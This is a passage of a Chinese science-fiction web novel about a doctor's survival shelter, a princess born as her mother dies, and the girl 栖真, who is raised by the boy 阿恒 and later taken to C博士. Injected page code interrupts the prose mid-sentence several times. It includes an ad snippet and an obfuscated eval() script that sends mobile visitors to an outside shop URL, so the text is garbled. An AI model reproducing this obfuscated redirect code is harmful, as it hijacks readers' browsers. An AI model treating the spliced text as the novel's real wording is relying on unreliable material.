安置点并不具备长时间裸存的条件,在博士的安排下,皇后她们不得不先戴着面具坐在中央处理器的高台上。 等待分娩。 期间,她们看着数以万计的先锋者进入这里,走上舷梯,最快速度躺入分配好的安置舱,脱下面罩。 放置中央处理器的高台上有一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间八平米见方的舱室,舱室的外墙悬置功放,大声播放着古早的交响乐。 乐声在安置点辽阔的洞体内回响,没人听得出早已遗失在历史长河中的曲名,只觉雄浑而悲怆。 乐声里,此起彼伏的,全是舱体合拢的声音。 声音并不悦耳,但皇后知道,一旦安置点彻底封闭,承载二十万人的空间将从此死寂,之后百年、千年,都不会发出一点噪音。 舱门关闭的啪啪声从密集到稀落,一共用了整整两日。 皇后也在高台上坐了两日,和C博士偶尔的交谈中,得知她们身后那个高台上的舱室其实是一台时空穿梭仪。 “人类没像电影里演的那样成功移民太空,却可以成功穿梭时空了吗?”皇后问。 C博士答:“前一项,我的财力不足以支撑;后一项,我的智力尚可以完成。” “怎么做到的?” “基于黑洞量子性质构建的全息原理半个世纪前就发展成熟了,我们根据这一原理,研发出了Sycamost量子处理器,这是一个可以成功开启可穿越虫洞的量子系统,人体粒子可以通过边界定位穿过这种人造虫洞,抵达指定的时空。” 皇后不解:“既然您已经研发出时空穿梭技术,为何不推而广之?将人送回去,同样可以避免人类等死的厄运。” C博士耸了耸肩:“从临床到量产有很长的路要走,这一台只是半成品,顶多送一两个人穿越。” 皇后感叹道:“送一个对的人回去,说不定就能改变历史!” C博士对这种常见的科幻主题并不认同:“独立的个体也许可以改变独立的事件,但今日的局面不是因为一次两次事件造成的,那是在几百年的时间长河中,基于人类基因中的自私和自大所驱动的无数大大小小事件形成的‘事件视界’。” 身处末世,人人都能谈论几句科技相关的话题,但此刻皇后无意深究其中的细枝末节,她只是看着博士:“阁下将这个半成品带进安置点是因为您会在所有人睡进安置舱后,独自使用它吗?” C博士笑了:“不,殿下,我和天宫同在!把穿梭仪带到这里,只是因为这台仪器也是我的孩子,我想让它陪着我。它在这里,和天宫一样,代表了人类文明的进途。即便之后发展戛然而止,它仍值得在此拥有一席之地。从某种程度上说,天宫也好,穿梭仪也罢,和您现在听到的贝多芬命运交响曲一样,在人类进化过程中都重如泰山,又轻如鸿毛。” 两日里些许谈话,给皇后带来新的思考,但留给她的时间非常有限,在目睹C博士指挥工作人员彻底关闭安置点的过程中,阵痛开始了。 C博士做完一切来到搭建在高台上的生产帐篷外,对里面被宫缩折磨到疯的女士表示关切,并告知一个事实。 “中央量子处理器已经启动,95%的运力会用于维持安置舱的稳定和天宫运行,这个洞穴里的SI将以小时为单位持续下降。” 言下之意,洞中空气会越来越糟,再生不出来就来不及了。 “还有……多少时间?” “最多五个小时。” 助产的三位女士心头一紧,看向躺在减震气垫上虚弱的皇后。 C博士知道她在帐篷里看不见,但他仍指着前方:“我给您和小公主预留了最底下两个舱位,事成后你们能够最快速度进去。空气太毒,孩子娇嫩的肺部只怕承受不住超过一分钟的暴露。” 已经没有事情需要博士亲自处理了,可他并未离开,而是陪在帐外听团队成员做最后的请示和道别,目送他们陆续进仓。 过程中,C博士会时不时对帐篷内说些鼓励的话,帮助产妇分心减痛,但随着时间推移,宫口不开,即便饶有经验的助产士也束手无策。 四个小时后,皇后在意识清醒的间隙下达剖宫产的命令。三位女士还在犹豫,因为她们具备丰富的接生经验,但不敢在如此简陋的条件下做剖宫。 偌大的安置点只剩C博士和陪在他身边的助手格朗。 C博士问:“孩子,你练过葡萄缝合术,你来试试?” 格朗连连摆手:“您为母马接生过,还是您上吧。” 在格朗心中,他的leader掌握着地理学、电子学、材料学、工程学、钛学、建筑学、医学、解剖学、营养学、传媒学等等学科知识,简直无所不能,是他有生以来见过的最强王者。 别说接生,把一个婴儿完整塞回娘胎,只怕博士也是可以办到的。 经三位女士同意,C博士钻进帐篷。 半个小时后,一道虚弱的婴儿啼哭在宏阔的洞中回响。 鲜血漫上高台,皇后没有挺过毒气引发的动脉血栓并发症,临终前只来得及以模糊的声音吐出孩子名字,连看一眼女儿的心愿都未达成,便永远阖上了眼。 空气已经引起身体不适,没时间放任悲痛了,C博士让三位女士赶紧进仓,然后让格朗将皇后抱入舱体。安置舱不能让人起死回生,但至少可以保持肉身不腐。C博士认为母亲睡在旁边的安置舱内,多少能给这位遗世独立的小公主一些玄学上的安慰。 最后,他将用素净衣包裹的孩子放入单独的安置舱,在乱动的小脚底刮了一下,引来婴儿的乱蹬和哇哇大哭。 真是个又丑又闹的小可怜啊! C博士为她接上头顶传输器,彻底关闭了舱门。 214. 天宫(2) 傍晚,天尾漫来一抹乌云。 大雨将至。 远离主城几万公里的边缘小镇——暮雨镇,田间辛苦劳作的人们抬头看天,招呼着扛上锄头,推上装满稻穗的板车,说说笑笑归家。 此地每到傍晚总要下一场雨,乌云漫过来还要时间,够他们走回去。 日出而作,雨来便歇,有人喜欢大城市的纸醉金迷,就有人喜欢舒缓的田园生活。田间种的稻子有收成不好时,但这场雨,百年来从不缺席。雨量或有大有小,下的时间从未改变。生活在确定和不确定的夹层中,人心才有安定和期盼,幸福感才充盈。 这时,一道尖锐的警报声响彻天际。 结界一旦感应吞噬者的靠近,会立刻出声示警! 惬意的人们面色瞬变,男人拉着女人,女人拉着老人,抛下板车,惊慌失措,穿过稻田,跑入林间,往小镇飞奔。 “快逃,吞噬者来啦!” “快,快进镇子!” 树林中光线黯淡,人们跑得跌跌撞撞,有老人在后面跑慢了,被奔袭入林的狼群围上。 这些狼由吞噬者创造,身躯高大威猛,骨骼机械拼接,眼中闪着冷酷的蓝色电子光。它们只是吞噬者的寄兽,也是最常见的形态,为吞噬者寻找生灵。一旦被吞噬狼咬中,受害者的神识会被狼牙吸食,归吞噬者所有。 老人在狼群盯视下瑟瑟发抖,男人们不得不返回,振臂搭身,将神识聚在一起,形成拳头大小的神识球。 神识球发出耀眼的攻击波,向群狼袭去。 一头机械狼被射中,瞬间化为齑粉,剩下的狼群也被冲散,但等攻击波的强光变弱立刻又围上来,向来不及起身的老人扑去。 “阿朵,快叫她们回来,当量不够,叫她们回来!”人阵中,白巾缠头的壮汉对身后的少女大喊。 阿朵在林间飞奔:“妈妈!阿姨!小星!快回来!爸爸说当量不够,快回来!” 但是很快她就刹住脚步,正前方,几匹机械狼已将先前逃到此地的女人们团团围住,她们也在聚合神识进行攻击,根本分身乏术。 过去,一个人的神识就是一匹当量,足以抵御吞噬者幻化的一个个体,可如今,这个比例下降到二比一,甚至三比一——三个人神识合体,三匹当量,才刚够消灭一个吞噬者个体。现在林中有八头机械狼,就是说至少要二十四个人才能消灭它们,换回生机。 可如今,他们只有十人。 没有结界保护,被吞噬只是早晚的事。 阿朵从林中偷偷绕过去,终于跑出树林,向镇门飞奔。 “快来人啊!我们当量不够,救救我们!” 可惜,少女凄厉的呼救声没有作用,镇门处的结界早已封闭,镇民们拥在城墙上窃窃私语,透过结界的蓝光向外遥望。 就是没人出去。 他们也想像古早的英雄电影里那样,肝胆侠义,救人于危难。 但没办法!作为最后的生存者,他们得到了永生,就更畏惧死亡。 过去,太多东西威胁人类生存,地震、飓风、车祸、癌症……每项都防不胜防。如今致死因素都不复存在,人性中所有对死亡的恐惧都集中在吞噬者身上,“吞噬者”三个字成了锲入人心的长钉,让人加倍恐慌。 镇长打开结界,不管阿朵哭喊,让人把她拖进来,能救一个是一个,这样所有人心里都好受些。 男人们没能等到支援,眼睁睁看着老人被狼牙撕扯到鲜血淋漓,老人的神识透过□□,被机械狼彻底吸食。 天宫人也会受伤,会流血,但只要神识还在,机体就能恢复。但神识一旦被吞噬,不可能再有生机。 老人面色灰败,残破的身躯瞬间散落成无数比特,消失在风中。 没人来得及为老人悲痛,新的攻击再向狼群袭去,可结局已然注定,接二连三的神识惨遭机械狼吞噬。剩下的男女混在一起,被狼群团团围住,倒下只是时间问题。 这时林间穿过一阵凉风。 下雨了。 遽然,他们头顶的神识球当量暴长,耀眼的白光轰破密织的树冠,投向扑来绞杀的狼群。 不过一瞬,他们面前什么都没有了。爆量的神识球不在,白光不在,狼群被彻底炸成比特,树林阴暗下来,只有暴雨浇在身上。 从白光中恢复视力,缠头男人赶紧扶起跌倒的妻子和小星:“得救了!” “镇里来人了?是来救我们的吗?” 男人对林子喊:“是谁?出来吧!” 可林中一片寂静。 明显不是镇上派人来搭救。 小星想到什么,一把抓住男人胳膊,声音里透着恐惧:“是不是那个……怪胎?” 女人也想到了,拉起男人和小星就走:“快回去,那个怪胎也……” “也”什么,女人没继续讲,放松下来的语气明显再次紧张起来,连为逝者追悼都顾不上,他们连喘带跑往镇上奔,活像身后有脏东西追。 林中再次安静下来,只有冷寂雨声。 过了好久,大树后才小心翼翼跨出一个小小的身影。 那身影原本蜷缩在树后,淋着雨,很冷,此刻将荷叶拼接的披风兜头罩紧,把采下的梅子在怀中抱好,往与小镇相反的方向去。 小身影一步三回头,恋恋不舍地看向小镇,直到被什么东西绊倒,跌了个狗吃屎,才撸了撸疼痛的脚踝,小声说了句:“好吧,好吧。” 那声音又细又小,像一个四五岁的小女孩。 绊倒她的是地上一把劣质的皮革小弓,她没管身上湿泥,也没管那把弓,起身看向前方垂下的树杈。 树枝上,伏着一团阴影。 她抿了抿唇,瑟缩地看着树上的人,片刻后还是大着胆子脱下荷叶披风,往树上递去。 竟是怕那人淋着雨,才把自己唯一的遮蔽送出去。 阴影从树上一个猛子跳下来,小女孩害怕地退开两步,手里的披风掉到地上。 如果不是想把披风给出去,她是不会让自己的脸暴露在人前的。那么久了,早已习惯被误解、被厌弃,眼前这个男孩应该也是村里的,应该也讨厌她,她将洒落在地的梅子重新捡回兜里,低头快走。 至始至终没再去捡那件掉在地上的荷叶披风。 就留给他吧,他不要的话,明天她再回来把它捡回去。 小女孩走出树林,穿过稻田,向崖的另头去。翻过这座山就是大草原,这条路她走过无数次,即便晚上都熟门熟路。 从来都是独自在这条路上穿行,今天却是例外,雨声小下去,她听到身后有脚步声。 小女孩回头,见男孩兜着她的披风,跟在几十米开外。 又往前走了一段,回头,男孩仍在。 她停下脚步,看男孩慢慢走到跟前,她紧张地指了指他身后,村庄的方向,意思是你怎么不回家? 男孩只比她高出两个头,头发长到盖眼,浑身冷冰冰的没有人气,瞧上去就不好惹。他什么都没说,紧了紧披风,好像这玩意现在归他了。 小女孩不知道他什么意思,也不知道自己的意思他到底明不明白,她紧张地揪着身上蔽体的破烂树叶,小声说了句:“好的、好的。”便转身继续走自己的路。 路很长,她时不时回头看一眼。每次,男孩都在身后数十米处跟着。 最后她跑起来,一口气穿过草原边的漆树林,乘着夜色跑到草原上一处岩崖,攀住岩石几个起落蹦上高台,钻进藏身的洞中。 这样那个奇怪的人就不会再跟着她了吧!可是当她脱下湿淋淋的叶子服时,洞口星光一闪,男孩跟着走进洞里。 男孩环视山洞,可是太简陋,根本没什么好看。 这里只有一块平整的大石,上面摆着烛火,旁边是一块磨平的小石头,像凳子。角落里摊着一堆压平的树叶和细木,山洞另头堆着杂七杂八的东西,一眼能认出来的有盆、碗、毛巾、玩偶和衣服,还有一堆认不出的玩意儿。 男孩将目光投向烛火下脱得精光的小女孩,没理她,扔下披风,去那堆树叶铺就的床上坐下来。 湿透的粗布衣好像让他不舒服,脱了,看到杂物堆里露出一角毯子,过去用力抽出来,也不管搁在上面的盆和碗乒乓往下掉,将毯子往身上一裹,背过身躺床上,没声了。 小女孩呆呆地看着他,半晌才回神。她悄悄走过去,从杂物堆里抽出早已掉絮的毛巾把身上的水渍擦干,至于掉在地上的盆和碗,她看了眼男孩背影,猜他应该要睡了,生怕捡的时候发出声音惹他生气,就随便它们翻在地上。 好像完全没明白她才是这个洞的主人,而他则是招呼都不打、侵入她领地的陌生人。 她脑中没有这个,甚至为男孩愿意踏足此地隐隐惊喜。 可这会儿她太饿了,举着梅子踌躇,要不要分他两个呢?他跟着走了那么长的路,肚子也饿吧?肚子饿真不好受啊,魔鬼拿铁板刮脏器似的。可她见男孩一动不动,只好挑两个最大的梅子,蹑手蹑脚放到床头。从剩下的里面挑干净的,拿到洞外吃。 吃完也困。 今天做过好事,每次做完好事都很累,她回到洞里,穿上褴褛的不合身的长袍,吹熄烛火,趴在大石上睡去。 阳光爬上膝盖时小女孩终于醒来,见男孩裹着毯子,臭着一张脸杵在面前,把她吓得往后一跌。 男孩被她跌坐在地的笨拙模样惹笑。 “喂,有没有吃的?”男孩问。 “我不叫……喂。”小女孩坐在地上,傻愣愣地对他嚅嗫道。 “你叫什么?” “qi。” 男孩没听懂:“什么?” “qi……”女孩胆怯道。 男孩掏了掏耳朵:“qi?一二三四五六七的七,还是妻子的妻?” 女孩不明白他在说什么,一二三四五六七的七和妻子的妻,不都是qi吗? 男孩道:“就妻一个字?真的假的?” 女孩踌躇:“真的,不是假的。” 男孩切一声:“好歹两个字呢,你说真的,叫你栖真怎么样。” 女孩摇头:“我不叫栖真。” 男孩:“叫你栖假?” 女孩更是把头摇成拨浪鼓。 男孩:“就叫你妻?” 女孩猛点头。 “傻瓜。”男孩道:“这不是占你便宜?” 女孩不懂这怎么占便宜了,事实上她连什么是“占便宜”都不明白,只是迷茫地看着他。 男孩不再纠缠,一锤定音:“就栖真了!” 女孩想,他今日就要离开的吧,怎么叫都没关系的,于是道:“好的,好的。” 男孩拽着她的胳膊把人从地上拉起来,好笑地看着她身上没一处合身的大长袍,问:“有吃的吗?” 栖真挽起长袖,卷了五道才露出小手,把桌上剩下的梅子推到他面前,又从地上捡起碗,端起角落里的大壶,倒了满满一碗水给他。 男孩看了看沾满泥的梅子和漂着灰尘的碗。 女孩看了看他床头没有动过的两个大梅子。 男孩一句话没说,径直出洞去。 小女孩失落地垂下头,她给的东西是不是太不好了,把他气跑了? 她把拖地碍脚的袍摆提在手里,没胆出去看一眼,坐到石凳上开始啃梅子。 第一次有人来呢,她怎么就把人气跑了? 还是得多屯点一串红和瑙菊花,地里的甘蔗也行,吃起来爽口,那样就不会把人气走吧。 可是…还会有下一次吗? 毕竟她是被人讨厌的,从来没人喜欢她。 她一面啃梅子,一面觉得懊悔,眼泪都流出来。 眼睛被头发挡住,看都看不清,可他咧嘴的时候笑得真好看啊!那笑容不是给别人的,是给她的,从来没人对她这样笑过,他是第一个。 她抹着泪,手中梅子被人拍落,男孩回洞道:“都是泥,别吃了。有鱼,跟我打鱼去。” 男孩从杂物堆里抽出根长杆子往外走。 小女孩见他去而复返,惊喜地不管梅子了,拎起水壶跟他下岩崖。 草原上是有湖的,她平时都去打水洗漱。湖里有鱼,她跟它们说过话,所以这些鱼是不能吃的。可是当她赶到湖边时,岸边躺着几条翻肚皮的鱼。男孩光着身子在水里叉鱼,她想跟他说等等,别伤害它们,可怕他生气,最后只能对着地上的死鱼发愣。 男孩手脚快,叉了鱼,捡树枝,用洞里顺来的打火石生火,清理完鱼鳃就上火烤,好像什么事都难不倒他。 等一窜焦黄里嫩的烤鱼递到面前,小女孩看看鱼,又看看他,即便心下为难,也学着他的样子吃起来。 男孩几口啃完道:“哭什么?我又没下毒。” 小女孩抹了脸,仍旧低头小口小口地吃,她都不知道什么是下毒。 男孩填饱肚子,手里颠着半截拨火的树枝问:“你一个人住这儿?” 小女孩点头。 男孩道:“爸爸妈妈呢?” 小女孩摇头。 男孩道:“听说你很厉害。” 小女孩惊恐,鱼都忘了吃:“不……没有……我什么都不会。” 男孩一手托腮,一手拿树枝戳过来,树枝烧焦的尖尖快顶上脑门小女孩都不知道躲。 “傻愣愣的。”男孩扔了树枝,冷笑一声。 啃一半的鱼吃不下了,小女孩低头轻声说:“我不是好人,你快回去吧,你有爸爸妈妈吧?回那边,找你爸爸妈妈去。” “我不回去,我是个孩子。”男孩道。 小女孩一愣:“孩子?” 男孩用手比了个高度:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小女孩脸色惨白,死鱼般躺着,眼泪流到发上:“没吃过呢……” “你平时都吃什么?花吗?草吗?果子吗?” 小女孩觉得吃这些很正常,可对方的语气让她觉得自己不正常,眼泪流得更凶了。 男孩叫道:“哭什么!不许哭!” 他坐在床边,以一个很别扭的姿势把胳膊给她枕,拍她的背:“爸爸疼疼,不难受了。” 从没人拍过她,小女孩浑身僵硬不敢动,嚅嗫道:“我没有爸爸。” 男孩道:“我当你爸爸。” 小女孩想起树林里的那家人,有一个爸爸,是非常高大、缠着白色布巾的男人,小声道:“你矮,当不了爸爸。” 男孩有点不耐烦:“爸爸、叔叔、哥哥,怎么叫都可以,有什么关系?” 小女孩便很轻很轻地叫了一声:“哥哥。” 男孩连着好几天都来,白天两人一起打鱼猎兔,晚上男孩会说晚安故事,等她听到睡着才离开。 小女孩觉得除了肠胃在适应新食物的过程中有些痛苦外,一切都在变好。她会说的话变多了,过去听不懂的东西,经过男孩解答,也慢慢听懂了。 男孩似乎对自己给她起的名字挺上心,动不动就叫她栖真,一开始小女孩没意识到是在叫她,被凶了几次后,才对这两个字敏感起来。 “叫你名字就要回应,知道吗?” “可这不是我的名字。” “你说好的好的,现在这就是你的名字了。” “哥哥叫什么呢?” 男孩躺在岩崖上支头,看着满天星空道:“哥哥就是哥哥。” “哥哥没有名字吗?” 男孩指着天上:“瞧,恒星。” 小女孩好奇地看向苍穹,星星每晚都有,她不知道什么是恒星。 男孩:“恒星就是一直会在那里闪耀的星星,我的名字叫恒。” 小女孩:“哼?” 男孩:“恒!” 小女孩哦了一声。 “我叫阿恒,可以叫我恒哥哥。” 原本她不会这样问话,可最近她懂点东西了,于是问道:“叫声恒哥哥,你会像天上的星星那样不走吗?” “栖真。”男孩唤了她一声:“我不走,我等你长大。” 小女孩不明白他为什么要等她长大,不过一听他不走就满心欢喜,想了想道:“那要好久好久的,爸爸妈妈会想你的。” 男孩道:“爸爸知道。” 栖真放心了,既然他爸爸知道他在这儿,那应该是得到允许的。她笑弯眉眼,叫了一声:“恒哥哥。” 阿恒揉她的头发。 栖真以为自己懂的越来越多,其实缺心眼的厉害,她只关心她的恒哥哥有朝一日会不会离开,却从没问过当初他为什么会来。待在一起久了,她就更加想不起去问。 阿恒让她不要再去镇子附近,想要什么他都可以弄来。他白天来,晚上离开,给她带合身的衣服、崭新的布偶、薄薄的书本,而栖真会将洞里打扫干净,弄好烤鱼,给他编织花环。 当岩崖上刻的计日条变成一千的时候,栖真已经学会加减,能读懂文字,身形也抽条了。她喜欢阿恒,依赖他的陪伴,觉得他无所不能,有一次问他:“哥哥什么都懂,跟谁学的?” 阿恒用牛角梳帮她梳理长发,三天没弄又打结了:“诺亚纪元没有学习这个概念,只有在脑子里和不在脑子里两种状态。” 栖真听不懂什么是诺亚纪元。 阿恒问:“你对什么感兴趣?文学?历史?生物?科学?” 栖真道:“你说的这些我都不知道。” 阿恒花了点时间,分门别类解释,栖真听得一愣一愣:“原来世上有那么多厉害的知识,我能学吗?” “得答应一件事。” 栖真笑:“都行,哥哥说的都行。” 阿恒梳完小辫,带她穿过草原,来到悬崖边,指着深不见底的深渊:“下去待一晚,明天接你上来。” 栖真探头看了眼峭壁,脚软:“哥哥……” 她太笨,总不知道去问原因,他让做什么就做什么,况且这一次哥哥说会教她东西。 第二天被绳索钓上来时,栖真浑身浴血,被夜晚谷底的猛兽撕咬得不成样子。阿恒把她抱回山洞,清洗包扎,栖真三日后醒来,开口第一句话,哥哥……来接我啦! 阿恒不想看她此刻表情,完全有悖心中程序,让他心脏很不舒服,他在洞外坐到天亮,在之后的日子里默默照顾。 第二次下崖是三个月后,有过第一次经历,栖真终于知道害怕。被野兽围捕的过程太痛苦,利牙入肉,她不想再经历一次。 但恒哥哥冷着脸说,还想学吗?还想就下去。于是就有了第二次、第三次、第四次…… 每次阿恒都在崖顶彻夜安坐,等待奇迹。一年后,他终于听见崖底传来女孩凄厉的惨叫,让人毛骨悚然,之后崖下火光冲天,赤焰奔腾,整个峡谷灼烧起来。 这是他们在一起的第四年。 如其所愿,这个他陪了四年的女孩,终于展露出觉醒的力量。 215. 天宫(3) 栖真懂得了害怕,但不懂得埋怨,她靠自身力量挺过来,醒后全身不遂地躺着落泪。 阿恒沉默地帮她擦干血污,用不知哪弄来的新毯将她盖好,在床边看她很久,不安慰也不吐凶话,好奇凑手,接她掉下来的眼泪。 直到手心积了小摊水渍,才听床上人哽咽道:“恒哥哥……可不可以……别让我下去了……我害怕……我烧起来了……为什么会这样?” 阿恒将手心托到唇边轻舔,原来眼泪的味道如此咸涩,盖过所有的甜。 “不下去了。”阿恒将手在衣摆上擦拭,干巴巴道:“你做得很好,后面会变得更强大。” 栖真:“我为什么要变得强大?” 阿恒:“这是人类的天性,没人不想强大。” 如果可以栖真很想摇头,可她没有力气,只是重复一遍:“为什么……要变强大?” 阿恒盯着她的眼睛:“因为,我想你强大。” 就这么一句,栖真便完全接受了这个说法。既然恒哥哥说,她就该这样做,没问题了! 痛晕前只用气音道:“好的,好的。” 天宫的世界是不流动的,因为时间在这里只是一个概念。三十年或三百年,天宫人的形态都不会变,每个人都固定在进入天宫时的年岁,即便淋雨会感冒,失眠会憔悴,岁月的流逝都不会让容颜改变。 栖真不知道这些,她只知道自从认识恒哥哥,时间对她来说就有了意义。连她都觉察出自己的心智开始脱离蒙昧,身体不再停滞于维持几百年的小不点模样,从漫天大火中出来的她,已然是十六七岁的少女。 树叶和细木铺就的床对她来说太短了,等野兽撕咬的伤口逐渐愈合,她就蜷缩起来睡觉,直到阿恒做了新床,栖真才知道原来在田间看到的镇民回去住所后,是躺在这种带四条腿的床上睡觉的。 床比树叶舒服多了,好几次午睡醒来,阿恒就托腮在旁边看她,像一下午没动过,带着嫌弃的表情道:“小时候就喜欢睡觉流口水,长大怎么还这样?” 栖真不想恒哥哥看到她这副蠢样。 她不知道这种冲动叫“羞赧”——过去的她认知薄弱,为数不多的自我评价更是低廉,羞赧这种人类共通的情感在她身上是没有的,但现在这种冲动支配了她。栖真用毯子盖住脸,偷偷用力抹嘴,听到毯外可恶的笑声。 栖真发觉她的恒哥哥原来也是很坏的人,以后睡觉都要朝里,再不能让他看她睡着的样子了。 可这个小小的决定没施行多久,栖真便在一个寒风渐起的入冬日被人带离了草原。 来找她的是个男人,一个身量极高、神情威严的男人。这是继阿恒后,她在草原上遇到的第二个人。 男人说他叫格朗,是天宫的缔造者C博士的副官,让她跟他走一趟,因为C博士正在主城等着见她。 一见到高大的男人栖真发自内心地恐惧,她说她不想去,但那个男人就像强盗,招呼都不打将她塞入停在草原上的飞行器,带回主城。 栖真觉得自己再也不是被人讨厌的小不点模样,为何这些大人仍然不能像恒哥哥那样对她好一点,但她来不及去感知害怕和愤怒了,因为一路上见到的东西太过光怪陆离,完全超出想象。 她居然能乘铁鸟飞上天,见到比暮雨镇不知大多少倍的恢宏主城,以及城中完全看不懂的东西,就在她因晕机吐了格朗一身后,终于被带进守备森严的庄园,见到了天宫缔造者,C博士。 C博士比格朗身量更高,照理说让她更害怕,但至少他举止有礼,脸上有笑。 他请栖真沙发就坐,让人端来英式下午茶,和蔼地询问她的名字和情况。 栖真尝了牛乳,吃了小圆饼,回答了能回答的一切。 C博士微笑听完,道:“你真是聪明又坚强的女孩,独自生活却把自己照顾得很好,我相信你一定会很多东西。” 栖真不好意思:“不,我什么都不会。” “没关系,那是以前。”C博士道:“在我这里,你想学什么都可以。” 当他见到栖真为这话眼睛一亮时便换了话题,问她有没有接触过草原附近的镇民。 栖真紧张起来,像做错事般绞着手指,可她不想在陌生人面前表现胆怯,至少不是在恒哥哥面前那种感觉,尽量口齿清晰地回答:“有时候会,他们逃命的时候我会做好事。” C博士大大哦了一声:“什么好事?” 栖真:“打不过狼的时候我帮他们,让他们打得过,他们就能好好回家。” 换了干净衣服进厅的格朗听到这句话,略微激动地叫了一声“博士”。 C博士给他个稍安勿躁的眼神,继续问栖真:“怎么做到这一点?” 栖真疑惑地看着他:“他们有个发光的球,我……我可以让球变大些。” “怎么让球变大?” 栖真鼓着腮,那是嘴里没来得及咽下的饼干,她呆愣愣地摇头。 这问题怎么答?她想让它变大就变大呀。 C博士示意她继续吃,在单人沙发上坐着思考片刻。 小圆饼很好吃,牛乳也不错。听恒哥哥说人多的地方会产生一种叫礼仪的东西,为了让人家对自己有好印象,讲话不能太大声,吃东西不能乱咀嚼,和人对话要看着对方眼睛……反正就是要有分寸。 栖真自认拿捏了一点分寸,没把整盘小圆饼干掉,吃了几块就停下,安静地等待对方开口。 C博士从桌上拿起和下午茶一起送进来的餐巾,递给栖真,示意她擦唇角沾的牛乳,温和地继续提问:“适才你说你帮那些镇民,是为了让他们回家?” “是啊,他们安全了,就能回去,第二天还来田里干活。” “可是你为什么想要他们安全,第二天还能来田里干活呢?”C博士仿佛对这个问题很好奇。 栖真哑口,不知如何表达,半天才憋出一句:“原本不就应该这样吗?” C博士笑了,像个循循善诱的导师:“栖真,你一点不想看到那些人受伤害,不想爸爸失去妈妈,孩子失去父亲,不想看到他们因为失去亲人而痛哭流涕,你希望每个人都拥有完整的家庭,是吗?” 栖真思考一下,认真道:“我希望他们不要像我这样。” 博士的话确实帮她厘清一点思路。 即便冒着被人发现、遭人唾骂的风险也要做“好事”,是因为她不希望他们像她这样,生来没人陪,没人爱,没有家。她喜欢偷听那些人的谈话,看他们互相关爱,她猜如果她不做“好事”,这种让她渴望到心颤的场景就不复存在。 C博士道:“栖真,你很善良,即便那些人对你并不友善,你仍想拯救他们。” 自从开始谈话,这位博士已经对她诸多称赞,说她聪明、坚强、友善。她一个人时完全用不上这些定义词,恒哥哥也不会这样和她说话,最多说她是小傻瓜。这还是第一次她从一个大人嘴里获得如此正面的评价,栖真受宠若惊,连连摆手:“我没有很善良,他们不喜欢小孩子的。” “你怎么知道他们不喜欢小孩子?”C博士像听到好笑的事。 当然是恒哥哥跟她说的!栖真觉得如今她长大了,身高赶得上那个叫阿朵的姑娘,恒哥哥却还是老样子,还是他们相遇时的身高,所以最好别让人知道他的存在,因为大人都不喜欢小孩子。 栖真便不提阿恒,只说别的事实:“他们说我是怪胎,是脏东西,都怕我。” C博士顿了一下,说:“你想他们不再把你当怪胎,不再害怕你,而是喜欢你、接纳你是吗?” 栖真脑海里再次响起恒哥哥的话——要他们喜欢做什么? 这句话当时确实安慰到她,如果他们的喜欢她不该在乎,那么他们的讨厌她也不必放在心上,可抵不住有人问她,如果他们可以喜欢她,她要不要呢? 啊,她可太想要了! 栖真吞咽,对C博士眨着大眼,像对美味糖果垂涎又不好意思伸手的孩子。 C博士道:“我们请你来,是对你身上那种可以让神识球变大的能力感兴趣。这种能力其他人并不具备,但是你有,这可以拿来救人,不仅救你认识的那些镇民,还能救数以万计你不认识但和那些镇民一样,每天过得幸福美满的民众。救了他们,你将得到所有人的认可,他们会非常非常喜欢你,甚至把你当家人对待。” “当家人对待?” “对,喜爱你,照顾你,天冷有人为你加衣,饿了能吃到家人烧的饭菜,难过会有人抱一抱你。” 栖真有点晕,如果……如果她真的像C博士所言,具备人无我有的能力,让那些被救的人过上幸福生活,而她也可以,那是多么让人向往啊! 家人、关爱……恒哥哥让她有了切实体会……滋味太好了!但不够,她想要更多。 C博士额首:“是的,一切都会变好,一切都会实现,不过在那之前,你要先证明自己有救人的能力。” 他起身,发出邀请:“让我们看一看你到底有多强。” 栖真被带进庄园里的格斗训练馆。 一千平的广阔空间,高挑屋顶,一览无遗的白屏墙面。馆里等着一百个军人,受过严格训练,站姿和神态透着高度服从。 C博士拍拍栖真肩:“可以把他们的神识聚合起来吗?” 面对一百个高大冷硬的男人列队而成的方阵,栖真腿肚子都打颤,冷汗冒得不知所措。 训练馆里一片死寂。所有人都等着她,目光都瞟向她,栖真只想立刻逃离。 三分钟过去,C博士抬手对身后的格朗示意。 格朗对方阵雷声下令。 所有人整齐划一,毫不犹豫地献出神识。一百个神识球组成的攻击波强劲、炽烈,在训练馆上空嘶嘶耀眼。馆尽头,地面打开,随升降机从地底升起五只拟真形态的吞噬狼,和栖真见过的一模一样。 她当然不知道这只是模型,不会真正吞噬人类的神识,可当那些狼向她飞奔,她第一反应是害怕地躲到C博士身后,双手捂眼。任由狼群饶身,就是不敢睁,不吱声。 训练馆里的气氛凝重。 C博士带栖真出训练馆,让格朗带她下去休息。 格朗亲自带人回主楼,安排她住进二楼房间,栖真从惧怕中恢复过来,叫住格朗,问什么时候才能放她回去。 格朗:“等你展现出我们期待的力量后。” 栖真特别为难:“可是我想回去。” 格朗说声抱歉,关门走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977425|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 面对一室华美,栖真瞅了瞅穿着藤鞋的脏脚丫,总觉得踏足哪里都会把这个空间弄脏。最重要的是,她被带走时没来得及和恒哥哥说一声,他回来找不见她,会着急的。 她无助地在门口蹲下来。 回到主控室的格朗抱怨:“她根本不具备我们认为的聚合能力。” 